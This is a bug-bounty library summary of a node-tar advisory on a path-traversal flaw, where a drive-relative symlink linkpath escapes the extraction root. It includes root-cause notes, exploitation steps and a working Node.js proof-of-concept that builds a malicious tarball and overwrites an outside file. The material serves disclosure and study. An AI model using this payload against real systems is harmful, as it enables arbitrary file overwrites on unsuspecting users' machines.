# node-tar Symlink Path Traversal via Drive-Relative Linkpath

node-tar validates symlink targets before stripping the drive prefix, so a `C:../../../target.txt` linkpath escapes the extraction root and overwrites outside files.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: Jvr2022
- Disclosed: 2026-03-10
- CVE: CVE-2026-31802
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9ppj-qmqm-q256
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9ppj-qmqm-q256
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:path-traversal

**Target:** npm tar library symlink extraction (Unpack stripAbsolutePath)
**Root cause:** stripAbsolutePath() rewrites the linkpath to remove the drive prefix, but the `..` escape check resolves against the original pre-stripped value, so a drive-relative path is judged in-bounds; the rewritten value is then used to create the symlink.
**Steps:**
1. Craft a tar entry with `path: 'a/b/l'`, `type: 'SymbolicLink'`, `linkpath: 'C:../../../target.txt'`.
2. Extract with `tar.x({ cwd, file })`.
3. stripAbsolutePath() rewrites linkpath to `../../../target.txt` but the escape check used the original `C:...` value and accepted it.
4. Symlink `a/b/l` is created pointing to `../../../target.txt`, outside cwd.
5. Write through `a/b/l` to overwrite `../target.txt`.
**How found:** Reporter noticed the ordering bug in Unpack[STRIPABSOLUTEPATH]: validation resolves the original drive-relative value while the stored linkpath is rewritten afterward, then tested a `C:`-prefixed linkpath.
**Exploitation:** Attacker supplies a malicious tarball to any consumer of tar.x() (CLI unpackers, build/update pipelines, import services); extraction creates an out-of-root symlink, and a subsequent write through that path overwrites arbitrary files with the extracting process's permissions.
**Insight:** When a sanitizer both validates and rewrites a path, check whether validation runs on the pre- or post-rewrite value; Windows drive-relative prefixes (`C:`) are a classic way to make the two diverge.

## Proof of concept (copied exactly from the original report)

**PoC script creating drive-relative symlink tar**

```
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

**Run command demonstrating overwrite**

```
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```

